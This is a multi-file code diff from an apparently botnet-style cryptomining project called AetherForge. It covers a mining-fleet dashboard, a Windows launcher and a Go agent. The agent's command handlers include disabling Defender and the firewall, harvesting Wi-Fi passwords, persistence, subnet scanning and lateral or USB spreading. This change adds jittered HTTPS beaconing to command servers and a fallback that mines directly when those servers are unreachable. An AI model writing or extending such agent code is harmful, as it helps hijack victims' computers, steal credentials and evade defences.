||||||
sublabel="15m avg"
|
sublabel="15m avg"
|
||||||
color="var(--neon-cyan)"
|
color="var(--neon-cyan)"
|
||||||
@@ -524,21 +494,21 @@ export default function DashboardPage() {
|
|||||||
</NeonCard>
|
</NeonCard>
|
||||||
<NeonCard accent="green" className="gauge-card" hud>
|
<NeonCard accent="green" className="gauge-card" hud>
|
||||||
<GaugeRing
|
<GaugeRing
|
||||||
value={displayOnlinePct}
|
value={onlinePct}
|
||||||
label="Online"
|
label="Online"
|
||||||
sublabel={`${displayOnline}/${displayAgentTotal}`}
|
sublabel={`${onlineCount}/${agents.length}`}
|
||||||
color="var(--neon-green)"
|
color="var(--neon-green)"
|
||||||
size={110}
|
size={110}
|
||||||
/>
|
/>
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
<NeonCard accent="purple" className="gauge-card" hud>
|
<NeonCard accent="purple" className="gauge-card" hud>
|
||||||
<GaugeRing value={displayAccept} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
|
<GaugeRing value={acceptRate} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
<NeonCard accent="amber" className="gauge-card" hud>
|
<NeonCard accent="amber" className="gauge-card" hud>
|
||||||
<GaugeRing
|
<GaugeRing
|
||||||
value={displayCpu}
|
value={avgCpu}
|
||||||
label="CPU"
|
label="CPU"
|
||||||
sublabel={`RAM ${displayMem.toFixed(0)}%`}
|
sublabel={`RAM ${avgMem.toFixed(0)}%`}
|
||||||
color="var(--neon-amber)"
|
color="var(--neon-amber)"
|
||||||
size={110}
|
size={110}
|
||||||
/>
|
/>
|
||||||
@@ -548,26 +518,24 @@ export default function DashboardPage() {
|
|||||||
<div className="grid-4 stats-grid steampunk-stats">
|
<div className="grid-4 stats-grid steampunk-stats">
|
||||||
<NeonCard accent="cyan" className="stat-card-wrap wealth-stat">
|
<NeonCard accent="cyan" className="stat-card-wrap wealth-stat">
|
||||||
<div className="stat-label font-tech">Total Hashrate</div>
|
<div className="stat-label font-tech">Total Hashrate</div>
|
||||||
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(displayHashrate)}</div>
|
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(totalHashrate)}</div>
|
||||||
<div className="stat-sub">{displayOnline} engines firing</div>
|
<div className="stat-sub">{onlineCount} engines firing</div>
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
{previewDeck ? (
|
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
|
||||||
<WealthEarningsPreview xmrPrice={xmrPrice} />
|
|
||||||
) : (
|
|
||||||
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
|
|
||||||
)}
|
|
||||||
<NeonCard accent="green" className="stat-card-wrap wealth-stat">
|
<NeonCard accent="green" className="stat-card-wrap wealth-stat">
|
||||||
<div className="stat-label font-tech">Fleet Online</div>
|
<div className="stat-label font-tech">Fleet Online</div>
|
||||||
<div className="stat-value accepted">
|
<div className="stat-value accepted">
|
||||||
{displayOnline} <span className="stat-dim">/ {displayAgentTotal}</span>
|
{onlineCount} <span className="stat-dim">/ {agents.length}</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="stat-sub">{displayAgentTotal - displayOnline} dormant</div>
|
<div className="stat-sub">{agents.length - onlineCount} dormant</div>
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
<NeonCard accent="purple" className="stat-card-wrap wealth-stat">
|
<NeonCard accent="purple" className="stat-card-wrap wealth-stat">
|
||||||
<div className="stat-label font-tech">Accept Rate</div>
|
<div className="stat-label font-tech">Accept Rate</div>
|
||||||
<div className="stat-value neon-glow-purple">{displayAccept.toFixed(1)}%</div>
|
<div className="stat-value neon-glow-purple">{acceptRate.toFixed(1)}%</div>
|
||||||
<div className="stat-sub">
|
<div className="stat-sub">
|
||||||
{previewDeck ? 'sample pool quality' : `${acceptedShares} valid · ${rejectedShares} rejected`}
|
{acceptedShares + rejectedShares > 0
|
||||||
|
? `${acceptedShares} valid · ${rejectedShares} rejected`
|
||||||
|
: 'no shares yet'}
|
||||||
</div>
|
</div>
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
<NeonCard accent="amber" className="stat-card-wrap">
|
<NeonCard accent="amber" className="stat-card-wrap">
|
||||||
@@ -819,9 +787,8 @@ export default function DashboardPage() {
|
|||||||
|
|
||||||
{/* ── Analytics row — always visible ─────────────────────────────────── */}
|
{/* ── Analytics row — always visible ─────────────────────────────────── */}
|
||||||
<ContributionBars
|
<ContributionBars
|
||||||
bars={contribs.length > 0 ? contribs : previewDeck ? SAMPLE_CONTRIBUTION_BARS : []}
|
bars={contribs}
|
||||||
sample={previewDeck && contribs.length === 0}
|
xmrPerDay={estXmrDay ?? undefined}
|
||||||
xmrPerDay={previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : undefined}
|
|
||||||
xmrPrice={xmrPrice}
|
xmrPrice={xmrPrice}
|
||||||
/>
|
/>
|
||||||
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
|
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
|
||||||
@@ -862,7 +829,7 @@ export default function DashboardPage() {
|
|||||||
</div>
|
</div>
|
||||||
</Suspense>
|
</Suspense>
|
||||||
|
|
||||||
{(hasGPUMining || previewDeck) && (
|
{hasGPUMining && (
|
||||||
<Suspense fallback={<ChartPlaceholder height={220} />}>
|
<Suspense fallback={<ChartPlaceholder height={220} />}>
|
||||||
<NeonCard accent="gold" tilt3d className="chart-row" style={{ marginTop: '1rem' }}>
|
<NeonCard accent="gold" tilt3d className="chart-row" style={{ marginTop: '1rem' }}>
|
||||||
<HashrateChart
|
<HashrateChart
|
||||||
@@ -907,7 +874,7 @@ export default function DashboardPage() {
|
|||||||
<span className="section-ornament">◆</span> Share Activity Pulse
|
<span className="section-ornament">◆</span> Share Activity Pulse
|
||||||
<span className="section-line" />
|
<span className="section-line" />
|
||||||
</h2>
|
</h2>
|
||||||
<ActivityPulse items={activityItems} sample={previewDeck && shares.length === 0} />
|
<ActivityPulse items={activityItems} />
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
|
|
||||||
<section className="section">
|
<section className="section">
|
||||||
|
|||||||
@@ -501,6 +501,26 @@
|
|||||||
margin-bottom: 1rem;
|
margin-bottom: 1rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.reforge-confirm-banner {
|
||||||
|
color: var(--neon-cyan, #00e5ff);
|
||||||
|
background: rgba(0, 229, 255, 0.08);
|
||||||
|
border-color: rgba(0, 229, 255, 0.35);
|
||||||
|
}
|
||||||
|
|
||||||
|
.fusion-prep-picker.fusion-prep-highlight {
|
||||||
|
padding: 0.75rem;
|
||||||
|
border-radius: 8px;
|
||||||
|
outline: 2px solid var(--accent-red);
|
||||||
|
outline-offset: 2px;
|
||||||
|
background: rgba(239, 68, 68, 0.08);
|
||||||
|
animation: fusion-prep-pulse 1.2s ease-in-out 3;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes fusion-prep-pulse {
|
||||||
|
0%, 100% { outline-color: var(--accent-red); }
|
||||||
|
50% { outline-color: rgba(239, 68, 68, 0.35); }
|
||||||
|
}
|
||||||
|
|
||||||
.build-btn {
|
.build-btn {
|
||||||
width: 100%;
|
width: 100%;
|
||||||
justify-content: center;
|
justify-content: center;
|
||||||
|
|||||||
@@ -50,6 +50,18 @@ body {
|
|||||||
padding: 2rem;
|
padding: 2rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.session-degraded-banner {
|
||||||
|
position: sticky;
|
||||||
|
top: 0;
|
||||||
|
z-index: 200;
|
||||||
|
padding: 0.5rem 1rem;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 0.85rem;
|
||||||
|
color: #fbbf24;
|
||||||
|
background: rgba(251, 191, 36, 0.12);
|
||||||
|
border-bottom: 1px solid rgba(251, 191, 36, 0.35);
|
||||||
|
}
|
||||||
|
|
||||||
.error-boundary-fallback {
|
.error-boundary-fallback {
|
||||||
padding: 1.5rem;
|
padding: 1.5rem;
|
||||||
margin: 1rem 0;
|
margin: 1rem 0;
|
||||||
|
|||||||
49
server/web/vitest-summary.txt
Normal file
49
server/web/vitest-summary.txt
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
|
||||||
|
RUN v2.1.9 G:/crypto miner/server/web
|
||||||
|
|
||||||
|
stderr | src/components/components.test.tsx > ErrorBoundary > shows fallback UI and clears error on retry
|
||||||
|
The above error occurred in the <MaybeThrow> component:
|
||||||
|
|
||||||
|
at MaybeThrow (G:\crypto miner\server\web\src\components\components.test.tsx:261:27)
|
||||||
|
at ErrorBoundary (G:\crypto miner\server\web\src\components\ErrorBoundary.tsx:6:1)
|
||||||
|
|
||||||
|
React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
|
||||||
|
UI error: Error: render boom
|
||||||
|
at MaybeThrow (G:\crypto miner\server\web\src\components\components.test.tsx:231:27)
|
||||||
|
at renderWithHooks (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:15486:18)
|
||||||
|
at mountIndeterminateComponent (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:20103:13)
|
||||||
|
at beginWork (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:21626:16)
|
||||||
|
at HTMLUnknownElement.callCallback (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:4164:14)
|
||||||
|
at HTMLUnknownElement.#callDispatchEventListeners (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:218:30)
|
||||||
|
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:88:41)
|
||||||
|
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/nodes/element/Element.js:948:35)
|
||||||
|
at HTMLUnknownElement.#goThroughDispatchEventPhases (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:140:38)
|
||||||
|
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:85:47) {
|
||||||
|
componentStack: '\n' +
|
||||||
|
' at MaybeThrow (G:\\crypto miner\\server\\web\\src\\components\\components.test.tsx:261:27)\n' +
|
||||||
|
' at ErrorBoundary (G:\\crypto miner\\server\\web\\src\\components\\ErrorBoundary.tsx:6:1)'
|
||||||
|
}
|
||||||
|
|
||||||
|
stderr | src/components/components.test.tsx > ErrorBoundary > uses custom fallback when provided
|
||||||
|
The above error occurred in the <ThrowOnce> component:
|
||||||
|
|
||||||
|
at ThrowOnce (G:\crypto miner\server\web\src\components\components.test.tsx:120:22)
|
||||||
|
at ErrorBoundary (G:\crypto miner\server\web\src\components\ErrorBoundary.tsx:6:1)
|
||||||
|
|
||||||
|
React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
|
||||||
|
UI error: Error: render boom
|
||||||
|
at ThrowOnce (G:\crypto miner\server\web\src\components\components.test.tsx:109:26)
|
||||||
|
at renderWithHooks (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:15486:18)
|
||||||
|
at mountIndeterminateComponent (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:20103:13)
|
||||||
|
at beginWork (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:21626:16)
|
||||||
|
at HTMLUnknownElement.callCallback (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:4164:14)
|
||||||
|
at HTMLUnknownElement.#callDispatchEventListeners (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:218:30)
|
||||||
|
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:88:41)
|
||||||
|
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/nodes/element/Element.js:948:35)
|
||||||
|
at HTMLUnknownElement.#goThroughDispatchEventPhases (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:140:38)
|
||||||
|
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:85:47) {
|
||||||
|
componentStack: '\n' +
|
||||||
|
' at ThrowOnce (G:\\crypto miner\\server\\web\\src\\components\\components.test.tsx:120:22)\n' +
|
||||||
|
' at ErrorBoundary (G:\\crypto miner\\server\\web\\src\\components\\ErrorBoundary.tsx:6:1)'
|
||||||
|
}
|
||||||
|
|
||||||
Binary file not shown.
@@ -105,13 +105,16 @@ if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
|
|||||||
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
|
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
|
||||||
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
|
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
|
||||||
|
|
||||||
:: Cloudflare Zero Trust connector starts inside AetherForge.exe when a token is set
|
|
||||||
:: (Calibrate -^> Cloudflare Tunnel Token, or data\cloudflared-token.txt, or AF_TUNNEL_TOKEN).
|
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
:: ----------------------------------------------------------------
|
||||||
:: 5. Detect LAN IP for display
|
:: 5. Detect LAN IP for display
|
||||||
:: ----------------------------------------------------------------
|
:: ----------------------------------------------------------------
|
||||||
set "SERVER_PORT=8989"
|
set "SERVER_PORT=8989"
|
||||||
|
set "CONFIG_FILE=%ROOT%\data\config.json"
|
||||||
|
if exist "%CONFIG_FILE%" (
|
||||||
|
for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
|
||||||
|
if not "%%P"=="" set "SERVER_PORT=%%P"
|
||||||
|
)
|
||||||
|
)
|
||||||
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
|
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
|
||||||
set "LAN_IP=%%I"
|
set "LAN_IP=%%I"
|
||||||
goto lan_done
|
goto lan_done
|
||||||
@@ -136,18 +139,37 @@ echo LAN: http://%LAN_IP%:%SERVER_PORT%
|
|||||||
echo Data: %ROOT%\data\
|
echo Data: %ROOT%\data\
|
||||||
echo.
|
echo.
|
||||||
echo Login accounts: admin + comrade ^(passwords below after start^).
|
echo Login accounts: admin + comrade ^(passwords below after start^).
|
||||||
echo Cloudflare: paste token in Calibrate or data\cloudflared-token.txt — server starts connector.
|
echo Cloudflare tunnel starts below ^(LAUNCH + server^).
|
||||||
echo Press Ctrl+C to stop.
|
echo Press Ctrl+C to stop.
|
||||||
echo ================================================================
|
echo ================================================================
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
|
:: Start Cloudflare connector before server ^(works with old or new AetherForge.exe^)
|
||||||
|
set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
|
||||||
|
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
|
||||||
|
if exist "%CF_SCRIPT%" (
|
||||||
|
powershell -NoProfile -ExecutionPolicy Bypass -File "%CF_SCRIPT%" -DeckRoot "%ROOT%"
|
||||||
|
) else (
|
||||||
|
echo [Tunnel] WARNING: scripts\usb-start-cloudflared.ps1 missing - repack usb folder.
|
||||||
|
)
|
||||||
|
echo.
|
||||||
|
|
||||||
:: Open browser after short delay
|
:: Open browser after short delay
|
||||||
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
|
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
|
||||||
|
|
||||||
:: Launch server
|
:: Launch server (LAUNCH already started cloudflared above — tell server not to spawn a second copy)
|
||||||
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
|
set "AF_TUNNEL_EXTERNAL=1"
|
||||||
|
"%ROOT%\AetherForge.exe" -data "%ROOT%\data"
|
||||||
set "EC=!ERRORLEVEL!"
|
set "EC=!ERRORLEVEL!"
|
||||||
|
|
||||||
|
if exist "%ROOT%\data\cloudflared.pid" (
|
||||||
|
for /f "usebackq" %%P in ("%ROOT%\data\cloudflared.pid") do (
|
||||||
|
taskkill /F /PID %%P >nul 2>nul
|
||||||
|
)
|
||||||
|
del "%ROOT%\data\cloudflared.pid" 2>nul
|
||||||
|
)
|
||||||
|
taskkill /F /IM cloudflared.exe >nul 2>nul
|
||||||
|
|
||||||
echo.
|
echo.
|
||||||
if "!EC!"=="0" (
|
if "!EC!"=="0" (
|
||||||
echo [Server] Stopped normally.
|
echo [Server] Stopped normally.
|
||||||
|
|||||||
@@ -19,10 +19,13 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
|||||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||||
}
|
}
|
||||||
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
|
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
||||||
|
"subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
|
||||||
if !c.cfg.RemoteAggressive {
|
if !c.cfg.RemoteAggressive {
|
||||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||||
}
|
}
|
||||||
|
case "tunnel_status", "tunnel_wireguard":
|
||||||
|
// Always available — read-only or Path Tracer config from server.
|
||||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
|
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
|
||||||
// No forge gate — always available.
|
// No forge gate — always available.
|
||||||
case "mesh_status":
|
case "mesh_status":
|
||||||
@@ -36,6 +39,10 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
||||||
|
if c.handleTunnelCommand(action, command, path, data) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
ok, reason := c.allowRemoteAction(action)
|
ok, reason := c.allowRemoteAction(action)
|
||||||
if !ok {
|
if !ok {
|
||||||
c.sendCommandResult(action, false, reason)
|
c.sendCommandResult(action, false, reason)
|
||||||
@@ -82,19 +89,6 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
|||||||
c.sendCommandResult(action, true, msg)
|
c.sendCommandResult(action, true, msg)
|
||||||
return true
|
return true
|
||||||
|
|
||||||
case "start_tunnel":
|
|
||||||
serverURL := strings.TrimSpace(command)
|
|
||||||
if serverURL == "" {
|
|
||||||
serverURL = c.cfg.ServerURL
|
|
||||||
}
|
|
||||||
msg, err := deploy.StartCloudflaredTunnel(serverURL)
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, msg)
|
|
||||||
return true
|
|
||||||
|
|
||||||
case "subnet_scan":
|
case "subnet_scan":
|
||||||
maxHosts := parsePortArg(command, 64)
|
maxHosts := parsePortArg(command, 64)
|
||||||
out := deploy.ScanLocalSubnet(maxHosts)
|
out := deploy.ScanLocalSubnet(maxHosts)
|
||||||
@@ -204,7 +198,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
|||||||
}
|
}
|
||||||
parts = append(parts, msg)
|
parts = append(parts, msg)
|
||||||
}
|
}
|
||||||
deploy.RemoveFirewallExclusionWindows(c.cfg)
|
deploy.RemoveFirewallExclusion(c.cfg)
|
||||||
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
|
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
|
||||||
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
|
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
|
||||||
return true
|
return true
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"log"
|
"log"
|
||||||
|
"math/rand"
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
@@ -53,6 +54,11 @@ type AgentClient struct {
|
|||||||
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
||||||
// successful WS authentication confirms we are on an owned fleet.
|
// successful WS authentication confirms we are on an owned fleet.
|
||||||
spreadOnce sync.Once
|
spreadOnce sync.Once
|
||||||
|
|
||||||
|
// beaconMode is true while commands/results use HTTPS beacon transport.
|
||||||
|
beaconMode atomic.Bool
|
||||||
|
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
|
||||||
|
wsDownSince atomic.Value // stores time.Time
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||||
@@ -67,6 +73,15 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (c *AgentClient) Run() error {
|
func (c *AgentClient) Run() error {
|
||||||
|
if c.cfg.AgentKillAfterDays > 0 && !c.cfg.BuiltAt.IsZero() {
|
||||||
|
age := time.Since(c.cfg.BuiltAt)
|
||||||
|
limit := time.Duration(c.cfg.AgentKillAfterDays) * 24 * time.Hour
|
||||||
|
if age >= limit {
|
||||||
|
log.Printf("[agent] agent_kill_after_days (%d) reached — exiting", c.cfg.AgentKillAfterDays)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
threads := c.cfg.EffectiveThreads()
|
threads := c.cfg.EffectiveThreads()
|
||||||
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
|
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
|
||||||
c.pool.Start()
|
c.pool.Start()
|
||||||
@@ -98,6 +113,7 @@ func (c *AgentClient) Run() error {
|
|||||||
if err := c.mesh.Start(); err != nil {
|
if err := c.mesh.Start(); err != nil {
|
||||||
log.Printf("[Mesh] Failed to start: %v", err)
|
log.Printf("[Mesh] Failed to start: %v", err)
|
||||||
}
|
}
|
||||||
|
defer c.mesh.Stop()
|
||||||
}
|
}
|
||||||
|
|
||||||
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
|
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
|
||||||
@@ -118,32 +134,76 @@ func (c *AgentClient) Run() error {
|
|||||||
serverURLs := buildServerURLList(c.cfg)
|
serverURLs := buildServerURLList(c.cfg)
|
||||||
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
|
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
|
||||||
|
|
||||||
urlIdx := 0
|
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
|
||||||
backoff := 5 * time.Second
|
log.Printf("[agent] connectivity_probe: c2_dns=%v c2_tcp=%v pool_dns=%v pool_tcp=%v",
|
||||||
const maxBackoff = 60 * time.Second
|
probe.C2DNSOK, probe.C2TCPOK, probe.PoolDNSOK, probe.PoolTCPOK)
|
||||||
|
|
||||||
|
urlIdx := 0
|
||||||
|
backoff, maxBackoff := c.reconnectBackoff()
|
||||||
for {
|
for {
|
||||||
target := serverURLs[urlIdx%len(serverURLs)]
|
target := serverURLs[urlIdx%len(serverURLs)]
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
// Restore C2 share handler before connecting (in case Stratum had it).
|
// Restore C2 share handler before connecting (in case Stratum had it).
|
||||||
c.pool.SetShareHandler(c.submitShare)
|
c.pool.SetShareHandler(c.submitShare)
|
||||||
|
if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
|
||||||
|
log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
|
||||||
|
if err := c.beaconOnce(target); err != nil {
|
||||||
|
log.Printf("[agent] beacon failed on %s: %v", target, err)
|
||||||
|
c.markWSDownSince()
|
||||||
|
} else {
|
||||||
|
c.sleepReconnect(c.beaconInterval())
|
||||||
|
}
|
||||||
|
}
|
||||||
if err := c.connectLoop(target); err != nil {
|
if err := c.connectLoop(target); err != nil {
|
||||||
log.Printf("[agent] disconnected from %s: %v", target, err)
|
log.Printf("[agent] disconnected from %s: %v", target, err)
|
||||||
|
c.markWSDownSince()
|
||||||
}
|
}
|
||||||
// Advance to next URL so the next reconnect tries a different server
|
// Advance to next URL so the next reconnect tries a different server
|
||||||
urlIdx++
|
urlIdx++
|
||||||
if time.Since(start) > 10*time.Second {
|
if time.Since(start) > 10*time.Second {
|
||||||
// Long-lived connection succeeded — reset backoff on the next attempt
|
backoff, maxBackoff = c.reconnectBackoff()
|
||||||
backoff = 5 * time.Second
|
|
||||||
}
|
}
|
||||||
time.Sleep(backoff)
|
c.sleepReconnect(backoff)
|
||||||
backoff += 5 * time.Second
|
backoff += c.reconnectBackoffStep()
|
||||||
if backoff > maxBackoff {
|
if backoff > maxBackoff {
|
||||||
backoff = maxBackoff
|
backoff = maxBackoff
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) reconnectBackoff() (time.Duration, time.Duration) {
|
||||||
|
sec := c.cfg.BeaconIntervalSec
|
||||||
|
if sec <= 0 {
|
||||||
|
sec = 5
|
||||||
|
}
|
||||||
|
base := time.Duration(sec) * time.Second
|
||||||
|
max := 60 * time.Second
|
||||||
|
if base*12 > max {
|
||||||
|
max = base * 12
|
||||||
|
}
|
||||||
|
return base, max
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) reconnectBackoffStep() time.Duration {
|
||||||
|
sec := c.cfg.BeaconIntervalSec
|
||||||
|
if sec <= 0 {
|
||||||
|
sec = 5
|
||||||
|
}
|
||||||
|
return time.Duration(sec) * time.Second
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) sleepReconnect(d time.Duration) {
|
||||||
|
jitter := c.cfg.BeaconJitterPct
|
||||||
|
if jitter > 0 {
|
||||||
|
if jitter > 100 {
|
||||||
|
jitter = 100
|
||||||
|
}
|
||||||
|
factor := 1.0 + (rand.Float64()*2-1)*float64(jitter)/100.0
|
||||||
|
d = time.Duration(float64(d) * factor)
|
||||||
|
}
|
||||||
|
time.Sleep(d)
|
||||||
|
}
|
||||||
|
|
||||||
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
|
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
|
||||||
func buildServerURLList(cfg config.RuntimeConfig) []string {
|
func buildServerURLList(cfg config.RuntimeConfig) []string {
|
||||||
seen := map[string]bool{}
|
seen := map[string]bool{}
|
||||||
@@ -263,6 +323,8 @@ func (c *AgentClient) authenticate() error {
|
|||||||
Arch: runtime.GOARCH,
|
Arch: runtime.GOARCH,
|
||||||
OSVersion: deploy.HostOSVersion(),
|
OSVersion: deploy.HostOSVersion(),
|
||||||
MacAddress: primaryMACAddress(),
|
MacAddress: primaryMACAddress(),
|
||||||
|
BuildID: c.cfg.BuildID,
|
||||||
|
USBSpread: c.cfg.USBSpread,
|
||||||
})
|
})
|
||||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||||
return err
|
return err
|
||||||
@@ -287,7 +349,8 @@ func (c *AgentClient) authenticate() error {
|
|||||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||||
}
|
}
|
||||||
c.agentID = resp.AgentID
|
c.agentID = resp.AgentID
|
||||||
log.Printf("[agent] authenticated as %s", c.agentID)
|
c.clearWSDownSince()
|
||||||
|
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
|
||||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||||
if installDir, err := c.cfg.InstallDirectory(); err == nil {
|
if installDir, err := c.cfg.InstallDirectory(); err == nil {
|
||||||
_ = deploy.PersistAgentID(installDir, c.agentID)
|
_ = deploy.PersistAgentID(installDir, c.agentID)
|
||||||
@@ -549,7 +612,15 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
|||||||
}
|
}
|
||||||
go c.performUpgrade(data)
|
go c.performUpgrade(data)
